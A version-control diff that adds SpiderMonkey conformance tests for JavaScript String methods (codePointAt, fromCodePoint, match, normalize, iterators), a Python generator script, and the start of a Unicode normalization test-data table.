+assertEq('\uD834\uDF06def'.codePointAt(''), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt('1'), 0xDF06);
+assertEq('\uD834\uDF06def'.codePointAt('_'), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(-1), undefined);
+assertEq('\uD834\uDF06def'.codePointAt(-0), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(0), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(1), 0xDF06);
+assertEq('\uD834\uDF06def'.codePointAt(42), undefined);
+assertEq('\uD834\uDF06def'.codePointAt(false), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(null), 0x1D306);
+assertEq('\uD834\uDF06def'.codePointAt(undefined), 0x1D306);
+
+// Lone high surrogates
+assertEq('\uD834abc'.codePointAt(''), 0xD834);
+assertEq('\uD834abc'.codePointAt('_'), 0xD834);
+assertEq('\uD834abc'.codePointAt(), 0xD834);
+assertEq('\uD834abc'.codePointAt(-1), undefined);
+assertEq('\uD834abc'.codePointAt(-0), 0xD834);
+assertEq('\uD834abc'.codePointAt(0), 0xD834);
+assertEq('\uD834abc'.codePointAt(false), 0xD834);
+assertEq('\uD834abc'.codePointAt(NaN), 0xD834);
+assertEq('\uD834abc'.codePointAt(null), 0xD834);
+assertEq('\uD834abc'.codePointAt(undefined), 0xD834);
+
+// Lone low surrogates
+assertEq('\uDF06abc'.codePointAt(''), 0xDF06);
+assertEq('\uDF06abc'.codePointAt('_'), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(-1), undefined);
+assertEq('\uDF06abc'.codePointAt(-0), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(0), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(false), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(NaN), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(null), 0xDF06);
+assertEq('\uDF06abc'.codePointAt(undefined), 0xDF06);
+
+(function() { String.prototype.codePointAt.call(undefined); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(undefined, 4); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(null); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.call(null, 4); }, TypeError);
+assertEq(String.prototype.codePointAt.call(42, 0), 0x34);
+assertEq(String.prototype.codePointAt.call(42, 1), 0x32);
+assertEq(String.prototype.codePointAt.call({ 'toString': function() { return 'abc'; } }, 2), 0x63);
+
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(undefined); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(undefined, [4]); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(null); }, TypeError);
+assertThrowsInstanceOf(function() { String.prototype.codePointAt.apply(null, [4]); }, TypeError);
+assertEq(String.prototype.codePointAt.apply(42, [0]), 0x34);
+assertEq(String.prototype.codePointAt.apply(42, [1]), 0x32);
+assertEq(String.prototype.codePointAt.apply({ 'toString': function() { return 'abc'; } }, [2]), 0x63);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/String/fromCodePoint.js b/js/src/tests/ecma_6/String/fromCodePoint.js
new file mode 100644
index 000000000..dad61663f
--- /dev/null
+++ b/js/src/tests/ecma_6/String/fromCodePoint.js
@@ -0,0 +1,60 @@
+var BUGNUMBER = 918879;
+var summary = 'String.fromCodePoint';
+
+print(BUGNUMBER + ": " + summary);
+
+// Tests taken from:
+// https://github.com/mathiasbynens/String.fromCodePoint/blob/master/tests/tests.js
+
+assertEq(String.fromCodePoint.length, 1);
+assertEq(String.fromCodePoint.name, 'fromCodePoint');
+assertEq(String.propertyIsEnumerable('fromCodePoint'), false);
+
+assertEq(String.fromCodePoint(''), '\0');
+assertEq(String.fromCodePoint(), '');
+assertEq(String.fromCodePoint(-0), '\0');
+assertEq(String.fromCodePoint(0), '\0');
+assertEq(String.fromCodePoint(0x1D306), '\uD834\uDF06');
+assertEq(String.fromCodePoint(0x1D306, 0x61, 0x1D307), '\uD834\uDF06a\uD834\uDF07');
+assertEq(String.fromCodePoint(0x61, 0x62, 0x1D307), 'ab\uD834\uDF07');
+assertEq(String.fromCodePoint(false), '\0');
+assertEq(String.fromCodePoint(null), '\0');
+
+assertThrowsInstanceOf(function() { String.fromCodePoint('_'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint('+Infinity'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint('-Infinity'); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(-1); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(0x10FFFF + 1); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(3.14); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(3e-2); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(Infinity); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(NaN); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint(undefined); }, RangeError);
+assertThrowsInstanceOf(function() { String.fromCodePoint({}); }, RangeError);
+
+var counter = Math.pow(2, 15) * 3 / 2;
+var result = [];
+while (--counter >= 0) {
+ result.push(0); // one code unit per symbol
+}
+String.fromCodePoint.apply(null, result); // must not throw
+
+var counter = Math.pow(2, 15) * 3 / 2;
+var result = [];
+while (--counter >= 0) {
+ result.push(0xFFFF + 1); // two code units per symbol
+}
+String.fromCodePoint.apply(null, result); // must not throw
+
+// str_fromCodePoint_one_arg (single argument, creates an inline string)
+assertEq(String.fromCodePoint(0x31), '1');
+// str_fromCodePoint_few_args (few arguments, creates an inline string)
+// JSFatInlineString::MAX_LENGTH_TWO_BYTE / 2 = floor(11 / 2) = 5
+assertEq(String.fromCodePoint(0x31, 0x32), '12');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33), '123');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34), '1234');
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34, 0x35), '12345');
+// str_fromCodePoint (many arguments, creates a malloc string)
+assertEq(String.fromCodePoint(0x31, 0x32, 0x33, 0x34, 0x35, 0x36), '123456');
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/String/internalUsage.js b/js/src/tests/ecma_6/String/internalUsage.js
new file mode 100644
index 000000000..6ee8d5a58
--- /dev/null
+++ b/js/src/tests/ecma_6/String/internalUsage.js
@@ -0,0 +1,30 @@
+var BUGNUMBER = 1268138;
+var summary = 'Internal usage of split should not be affected by prototpe change';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ var t = 24*60*60*1000;
+ var possibleAnswer = ["1.1.1970", "2.1.1970", "3.1.1970"];
+
+ String.prototype[Symbol.split] = function(s, limit) { return [""]; };
+ var s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["x-foo"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["de-u-co"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+
+ String.prototype[Symbol.split] = function(s, limit) { return ["en-US"]; };
+ s = Intl.DateTimeFormat("de", {}).format(t);
+ assertEq(possibleAnswer.includes(s), true);
+}
+
+if (this.hasOwnProperty("Intl"))
+ test();
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/String/iterator_edge_cases.js b/js/src/tests/ecma_6/String/iterator_edge_cases.js
new file mode 100644
index 000000000..15fe6d0fb
--- /dev/null
+++ b/js/src/tests/ecma_6/String/iterator_edge_cases.js
@@ -0,0 +1,27 @@
+// Test that we can't confuse %StringIteratorPrototype% for a
+// StringIterator object.
+function TestStringIteratorPrototypeConfusion() {
+ var iter = ""[Symbol.iterator]();
+ try {
+ iter.next.call(Object.getPrototypeOf(iter))
+ throw new Error("Call did not throw");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ assertEq(e.message, "next method called on incompatible String Iterator");
+ }
+}
+TestStringIteratorPrototypeConfusion();
+
+// Tests that we can use %StringIteratorPrototype%.next on a
+// cross-compartment iterator.
+function TestStringIteratorWrappers() {
+ var iter = ""[Symbol.iterator]();
+ assertDeepEq(iter.next.call(newGlobal().eval('"x"[Symbol.iterator]()')),
+ { value: "x", done: false })
+}
+if (typeof newGlobal === "function") {
+ TestStringIteratorWrappers();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/make-normalize-generateddata-input.py b/js/src/tests/ecma_6/String/make-normalize-generateddata-input.py
new file mode 100644
index 000000000..c1983dbd1
--- /dev/null
+++ b/js/src/tests/ecma_6/String/make-normalize-generateddata-input.py
@@ -0,0 +1,70 @@
+#!/usr/bin/python -B
+
+""" Usage: make-normalize-generateddata-input.py PATH_TO_MOZILLA_CENTRAL
+
+ This script generates test input data for String.prototype.normalize
+ from intl/icu/source/data/unidata/NormalizationTest.txt
+ to js/src/tests/ecma_6/String/normalize-generateddata-input.js
+"""
+
+from __future__ import print_function
+import re, sys
+
+sep_pat = re.compile(' +')
+def to_code_list(codes):
+ return '[' + ', '.join(map(lambda x: '0x{0}'.format(x), re.split(sep_pat, codes))) + ']'
+
+def convert(dir):
+ ver_pat = re.compile('NormalizationTest-([0-9\.]+)\.txt')
+ part_pat = re.compile('^@(Part([0-9]+) .+)$')
+ test_pat = re.compile('^([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);([0-9A-Fa-f ]+);$')
+ ignore_pat = re.compile('^#|^$')
+ js_path = 'js/src/tests/ecma_6/String/normalize-generateddata-input.js'
+ txt_path = 'intl/icu/source/data/unidata/NormalizationTest.txt'
+
+ part_opened = False
+ not_empty = False
+ with open('{dir}/{path}'.format(dir=dir, path=txt_path), 'r') as f:
+ with open('{dir}/{path}'.format(dir=dir, path=js_path), 'w') as outf:
+ for line in f:
+ m = test_pat.search(line)
+ if m:
+ if not_empty:
+ outf.write(',')
+ outf.write('\n')
+ pat = '{{ source: {source}, NFC: {NFC}, NFD: {NFD}, NFKC: {NFKC}, NFKD: {NFKD} }}'
+ outf.write(pat.format(source=to_code_list(m.group(1)),
+ NFC=to_code_list(m.group(2)),
+ NFD=to_code_list(m.group(3)),
+ NFKC=to_code_list(m.group(4)),
+ NFKD=to_code_list(m.group(5))))
+ not_empty = True
+ continue
+ m = part_pat.search(line)
+ if m:
+ desc = m.group(1)
+ part = m.group(2)
+ if part_opened:
+ outf.write('\n];\n')
+ outf.write('/* {desc} */\n'.format(desc=desc))
+ outf.write('var tests_part{part} = ['.format(part=part))
+ part_opened = True
+ not_empty = False
+ continue
+ m = ver_pat.search(line)
+ if m:
+ ver = m.group(1)
+ outf.write('/* created from NormalizationTest-{ver}.txt */\n'.format(ver=ver))
+ continue
+ m = ignore_pat.search(line)
+ if m:
+ continue
+ print("Unknown line: {0}".format(line), file=sys.stderr)
+ if part_opened:
+ outf.write('\n];\n')
+
+if __name__ == '__main__':
+ if len(sys.argv) < 2:
+ print("Usage: make-normalize-generateddata-input.py PATH_TO_MOZILLA_CENTRAL", file=sys.stderr)
+ sys.exit(1)
+ convert(sys.argv[1])
diff --git a/js/src/tests/ecma_6/String/match-GetMethod.js b/js/src/tests/ecma_6/String/match-GetMethod.js
new file mode 100644
index 000000000..70e89bb7e
--- /dev/null
+++ b/js/src/tests/ecma_6/String/match-GetMethod.js
@@ -0,0 +1,28 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.match should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.match]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+var expected = ["-"];
+expected.index = 1;
+expected.input = "a-a";
+
+for (let v of [null, undefined]) {
+ assertDeepEq("a-a".match(create(v)), expected);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".match(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/match.js b/js/src/tests/ecma_6/String/match.js
new file mode 100644
index 000000000..b9b0d27a6
--- /dev/null
+++ b/js/src/tests/ecma_6/String/match.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@match] from String.prototype.match.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.match](S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 42;
+ }
+};
+assertEq("abcAbcABC".match(myRegExp), 42);
+assertEq(called, 1);
+
+var origMatch = RegExp.prototype[Symbol.match];
+
+called = 0;
+RegExp.prototype[Symbol.match] = function(S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 43;
+};
+assertEq("abcAbcABC".match("abc"), 43);
+assertEq(called, 1);
+
+RegExp.prototype[Symbol.match] = origMatch;
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-form-non-atom.js b/js/src/tests/ecma_6/String/normalize-form-non-atom.js
new file mode 100644
index 000000000..ee6e12c37
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-form-non-atom.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 1145326;
+var summary = 'String.prototype.normalize error when normalization form parameter is not an atom';
+
+print(BUGNUMBER + ": " + summary);
+
+function test() {
+ assertEq("abc".normalize("NFKC".split("").join("")), "abc");
+ assertEq("abc".normalize("NFKCabc".replace("abc", "")), "abc");
+ assertEq("abc".normalize("N" + "F" + "K" + "C"), "abc");
+}
+
+if ("normalize" in String.prototype) {
+ // String.prototype.normalize is not enabled in all builds.
+ test();
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/normalize-generateddata-input.js b/js/src/tests/ecma_6/String/normalize-generateddata-input.js
new file mode 100644
index 000000000..a968a4655
--- /dev/null
+++ b/js/src/tests/ecma_6/String/normalize-generateddata-input.js
@@ -0,0 +1,18735 @@
+/* created from NormalizationTest-9.0.0.txt */
+/* Part0 # Specific cases */
+var tests_part0 = [
+{ source: [0x1E0A], NFC: [0x1E0A], NFD: [0x0044, 0x0307], NFKC: [0x1E0A], NFKD: [0x0044, 0x0307] },
+{ source: [0x1E0C], NFC: [0x1E0C], NFD: [0x0044, 0x0323], NFKC: [0x1E0C], NFKD: [0x0044, 0x0323] },
+{ source: [0x1E0A, 0x0323], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x1E0C, 0x0307], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x0044, 0x0307, 0x0323], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x0044, 0x0323, 0x0307], NFC: [0x1E0C, 0x0307], NFD: [0x0044, 0x0323, 0x0307], NFKC: [0x1E0C, 0x0307], NFKD: [0x0044, 0x0323, 0x0307] },
+{ source: [0x1E0A, 0x031B], NFC: [0x1E0A, 0x031B], NFD: [0x0044, 0x031B, 0x0307], NFKC: [0x1E0A, 0x031B], NFKD: [0x0044, 0x031B, 0x0307] },
+{ source: [0x1E0C, 0x031B], NFC: [0x1E0C, 0x031B], NFD: [0x0044, 0x031B, 0x0323], NFKC: [0x1E0C, 0x031B], NFKD: [0x0044, 0x031B, 0x0323] },
+{ source: [0x1E0A, 0x031B, 0x0323], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x1E0C, 0x031B, 0x0307], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x0044, 0x031B, 0x0307, 0x0323], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x0044, 0x031B, 0x0323, 0x0307], NFC: [0x1E0C, 0x031B, 0x0307], NFD: [0x0044, 0x031B, 0x0323, 0x0307], NFKC: [0x1E0C, 0x031B, 0x0307], NFKD: [0x0044, 0x031B, 0x0323, 0x0307] },
+{ source: [0x00C8], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x0112], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x0045, 0x0300], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x0045, 0x0304], NFC: [0x0112], NFD: [0x0045, 0x0304], NFKC: [0x0112], NFKD: [0x0045, 0x0304] },
+{ source: [0x1E14], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x0112, 0x0300], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x1E14, 0x0304], NFC: [0x1E14, 0x0304], NFD: [0x0045, 0x0304, 0x0300, 0x0304], NFKC: [0x1E14, 0x0304], NFKD: [0x0045, 0x0304, 0x0300, 0x0304] },
+{ source: [0x0045, 0x0304, 0x0300], NFC: [0x1E14], NFD: [0x0045, 0x0304, 0x0300], NFKC: [0x1E14], NFKD: [0x0045, 0x0304, 0x0300] },
+{ source: [0x0045, 0x0300, 0x0304], NFC: [0x00C8, 0x0304], NFD: [0x0045, 0x0300, 0x0304], NFKC: [0x00C8, 0x0304], NFKD: [0x0045, 0x0300, 0x0304] },
+{ source: [0x05B8, 0x05B9, 0x05B1, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFC: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFD: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFKC: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F], NFKD: [0x05B1, 0x05B8, 0x05B9, 0x0591, 0x05C3, 0x05B0, 0x05AC, 0x059F] },
+{ source: [0x0592, 0x05B7, 0x05BC, 0x05A5, 0x05B0, 0x05C0, 0x05C4, 0x05AD], NFC: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFD: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFKC: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4], NFKD: [0x05B0, 0x05B7, 0x05BC, 0x05A5, 0x0592, 0x05C0, 0x05AD, 0x05C4] },
+{ source: [0x1100, 0xAC00, 0x11A8], NFC: [0x1100, 0xAC01], NFD: [0x1100, 0x1100, 0x1161, 0x11A8], NFKC: [0x1100, 0xAC01], NFKD: [0x1100, 0x1100, 0x1161, 0x11A8] },
+{ source: [0x1100, 0xAC00, 0x11A8, 0x11A8], NFC: [0x1100, 0xAC01, 0x11A8], NFD: [0x1100, 0x1100, 0x1161, 0x11A8, 0x11A8], NFKC: [0x1100, 0xAC01, 0x11A8], NFKD: [0x1100, 0x1100, 0x1161, 0x11A8, 0x11A8] }
+];
+/* Part1 # Character by character test */
+var tests_part1 = [
+{ source: [0x00A0], NFC: [0x00A0], NFD: [0x00A0], NFKC: [0x0020], NFKD: [0x0020] },
+{ source: [0x00A8], NFC: [0x00A8], NFD: [0x00A8], NFKC: [0x0020, 0x0308], NFKD: [0x0020, 0x0308] },
+{ source: [0x00AA], NFC: [0x00AA], NFD: [0x00AA], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x00AF], NFC: [0x00AF], NFD: [0x00AF], NFKC: [0x0020, 0x0304], NFKD: [0x0020, 0x0304] },
+{ source: [0x00B2], NFC: [0x00B2], NFD: [0x00B2], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x00B3], NFC: [0x00B3], NFD: [0x00B3], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x00B4], NFC: [0x00B4], NFD: [0x00B4], NFKC: [0x0020, 0x0301], NFKD: [0x0020, 0x0301] },
+{ source: [0x00B5], NFC: [0x00B5], NFD: [0x00B5], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x00B8], NFC: [0x00B8], NFD: [0x00B8], NFKC: [0x0020, 0x0327], NFKD: [0x0020, 0x0327] },
+{ source: [0x00B9], NFC: [0x00B9], NFD: [0x00B9], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x00BA], NFC: [0x00BA], NFD: [0x00BA], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x00BC], NFC: [0x00BC], NFD: [0x00BC], NFKC: [0x0031, 0x2044, 0x0034], NFKD: [0x0031, 0x2044, 0x0034] },
+{ source: [0x00BD], NFC: [0x00BD], NFD: [0x00BD], NFKC: [0x0031, 0x2044, 0x0032], NFKD: [0x0031, 0x2044, 0x0032] },
+{ source: [0x00BE], NFC: [0x00BE], NFD: [0x00BE], NFKC: [0x0033, 0x2044, 0x0034], NFKD: [0x0033, 0x2044, 0x0034] },
+{ source: [0x00C0], NFC: [0x00C0], NFD: [0x0041, 0x0300], NFKC: [0x00C0], NFKD: [0x0041, 0x0300] },
+{ source: [0x00C1], NFC: [0x00C1], NFD: [0x0041, 0x0301], NFKC: [0x00C1], NFKD: [0x0041, 0x0301] },
+{ source: [0x00C2], NFC: [0x00C2], NFD: [0x0041, 0x0302], NFKC: [0x00C2], NFKD: [0x0041, 0x0302] },
+{ source: [0x00C3], NFC: [0x00C3], NFD: [0x0041, 0x0303], NFKC: [0x00C3], NFKD: [0x0041, 0x0303] },
+{ source: [0x00C4], NFC: [0x00C4], NFD: [0x0041, 0x0308], NFKC: [0x00C4], NFKD: [0x0041, 0x0308] },
+{ source: [0x00C5], NFC: [0x00C5], NFD: [0x0041, 0x030A], NFKC: [0x00C5], NFKD: [0x0041, 0x030A] },
+{ source: [0x00C7], NFC: [0x00C7], NFD: [0x0043, 0x0327], NFKC: [0x00C7], NFKD: [0x0043, 0x0327] },
+{ source: [0x00C8], NFC: [0x00C8], NFD: [0x0045, 0x0300], NFKC: [0x00C8], NFKD: [0x0045, 0x0300] },
+{ source: [0x00C9], NFC: [0x00C9], NFD: [0x0045, 0x0301], NFKC: [0x00C9], NFKD: [0x0045, 0x0301] },
+{ source: [0x00CA], NFC: [0x00CA], NFD: [0x0045, 0x0302], NFKC: [0x00CA], NFKD: [0x0045, 0x0302] },
+{ source: [0x00CB], NFC: [0x00CB], NFD: [0x0045, 0x0308], NFKC: [0x00CB], NFKD: [0x0045, 0x0308] },
+{ source: [0x00CC], NFC: [0x00CC], NFD: [0x0049, 0x0300], NFKC: [0x00CC], NFKD: [0x0049, 0x0300] },
+{ source: [0x00CD], NFC: [0x00CD], NFD: [0x0049, 0x0301], NFKC: [0x00CD], NFKD: [0x0049, 0x0301] },
+{ source: [0x00CE], NFC: [0x00CE], NFD: [0x0049, 0x0302], NFKC: [0x00CE], NFKD: [0x0049, 0x0302] },
+{ source: [0x00CF], NFC: [0x00CF], NFD: [0x0049, 0x0308], NFKC: [0x00CF], NFKD: [0x0049, 0x0308] },
+{ source: [0x00D1], NFC: [0x00D1], NFD: [0x004E, 0x0303], NFKC: [0x00D1], NFKD: [0x004E, 0x0303] },
+{ source: [0x00D2], NFC: [0x00D2], NFD: [0x004F, 0x0300], NFKC: [0x00D2], NFKD: [0x004F, 0x0300] },
+{ source: [0x00D3], NFC: [0x00D3], NFD: [0x004F, 0x0301], NFKC: [0x00D3], NFKD: [0x004F, 0x0301] },
+{ source: [0x00D4], NFC: [0x00D4], NFD: [0x004F, 0x0302], NFKC: [0x00D4], NFKD: [0x004F, 0x0302] },
+{ source: [0x00D5], NFC: [0x00D5], NFD: [0x004F, 0x0303], NFKC: [0x00D5], NFKD: [0x004F, 0x0303] },
+{ source: [0x00D6], NFC: [0x00D6], NFD: [0x004F, 0x0308], NFKC: [0x00D6], NFKD: [0x004F, 0x0308] },
+{ source: [0x00D9], NFC: [0x00D9], NFD: [0x0055, 0x0300], NFKC: [0x00D9], NFKD: [0x0055, 0x0300] },
+{ source: [0x00DA], NFC: [0x00DA], NFD: [0x0055, 0x0301], NFKC: [0x00DA], NFKD: [0x0055, 0x0301] },
+{ source: [0x00DB], NFC: [0x00DB], NFD: [0x0055, 0x0302], NFKC: [0x00DB], NFKD: [0x0055, 0x0302] },
+{ source: [0x00DC], NFC: [0x00DC], NFD: [0x0055, 0x0308], NFKC: [0x00DC], NFKD: [0x0055, 0x0308] },
+{ source: [0x00DD], NFC: [0x00DD], NFD: [0x0059, 0x0301], NFKC: [0x00DD], NFKD: [0x0059, 0x0301] },
+{ source: [0x00E0], NFC: [0x00E0], NFD: [0x0061, 0x0300], NFKC: [0x00E0], NFKD: [0x0061, 0x0300] },
+{ source: [0x00E1], NFC: [0x00E1], NFD: [0x0061, 0x0301], NFKC: [0x00E1], NFKD: [0x0061, 0x0301] },
+{ source: [0x00E2], NFC: [0x00E2], NFD: [0x0061, 0x0302], NFKC: [0x00E2], NFKD: [0x0061, 0x0302] },
+{ source: [0x00E3], NFC: [0x00E3], NFD: [0x0061, 0x0303], NFKC: [0x00E3], NFKD: [0x0061, 0x0303] },
+{ source: [0x00E4], NFC: [0x00E4], NFD: [0x0061, 0x0308], NFKC: [0x00E4], NFKD: [0x0061, 0x0308] },
+{ source: [0x00E5], NFC: [0x00E5], NFD: [0x0061, 0x030A], NFKC: [0x00E5], NFKD: [0x0061, 0x030A] },
+{ source: [0x00E7], NFC: [0x00E7], NFD: [0x0063, 0x0327], NFKC: [0x00E7], NFKD: [0x0063, 0x0327] },
+{ source: [0x00E8], NFC: [0x00E8], NFD: [0x0065, 0x0300], NFKC: [0x00E8], NFKD: [0x0065, 0x0300] },
+{ source: [0x00E9], NFC: [0x00E9], NFD: [0x0065, 0x0301], NFKC: [0x00E9], NFKD: [0x0065, 0x0301] },
+{ source: [0x00EA], NFC: [0x00EA], NFD: [0x0065, 0x0302], NFKC: [0x00EA], NFKD: [0x0065, 0x0302] },
+{ source: [0x00EB], NFC: [0x00EB], NFD: [0x0065, 0x0308], NFKC: [0x00EB], NFKD: [0x0065, 0x0308] },
+{ source: [0x00EC], NFC: [0x00EC], NFD: [0x0069, 0x0300], NFKC: [0x00EC], NFKD: [0x0069, 0x0300] },
+{ source: [0x00ED], NFC: [0x00ED], NFD: [0x0069, 0x0301], NFKC: [0x00ED], NFKD: [0x0069, 0x0301] },
+{ source: [0x00EE], NFC: [0x00EE], NFD: [0x0069, 0x0302], NFKC: [0x00EE], NFKD: [0x0069, 0x0302] },
+{ source: [0x00EF], NFC: [0x00EF], NFD: [0x0069, 0x0308], NFKC: [0x00EF], NFKD: [0x0069, 0x0308] },
+{ source: [0x00F1], NFC: [0x00F1], NFD: [0x006E, 0x0303], NFKC: [0x00F1], NFKD: [0x006E, 0x0303] },
+{ source: [0x00F2], NFC: [0x00F2], NFD: [0x006F, 0x0300], NFKC: [0x00F2], NFKD: [0x006F, 0x0300] },
+{ source: [0x00F3], NFC: [0x00F3], NFD: [0x006F, 0x0301], NFKC: [0x00F3], NFKD: [0x006F, 0x0301] },
+{ source: [0x00F4], NFC: [0x00F4], NFD: [0x006F, 0x0302], NFKC: [0x00F4], NFKD: [0x006F, 0x0302] },
+{ source: [0x00F5], NFC: [0x00F5], NFD: [0x006F, 0x0303], NFKC: [0x00F5], NFKD: [0x006F, 0x0303] },
+{ source: [0x00F6], NFC: [0x00F6], NFD: [0x006F, 0x0308], NFKC: [0x00F6], NFKD: [0x006F, 0x0308] },
+{ source: [0x00F9], NFC: [0x00F9], NFD: [0x0075, 0x0300], NFKC: [0x00F9], NFKD: [0x0075, 0x0300] },
+{ source: [0x00FA], NFC: [0x00FA], NFD: [0x0075, 0x0301], NFKC: [0x00FA], NFKD: [0x0075, 0x0301] },
+{ source: [0x00FB], NFC: [0x00FB], NFD: [0x0075, 0x0302], NFKC: [0x00FB], NFKD: [0x0075, 0x0302] },
+{ source: [0x00FC], NFC: [0x00FC], NFD: [0x0075, 0x0308], NFKC: [0x00FC], NFKD: [0x0075, 0x0308] },
+{ source: [0x00FD], NFC: [0x00FD], NFD: [0x0079, 0x0301], NFKC: [0x00FD], NFKD: [0x0079, 0x0301] },
+{ source: [0x00FF], NFC: [0x00FF], NFD: [0x0079, 0x0308], NFKC: [0x00FF], NFKD: [0x0079, 0x0308] },
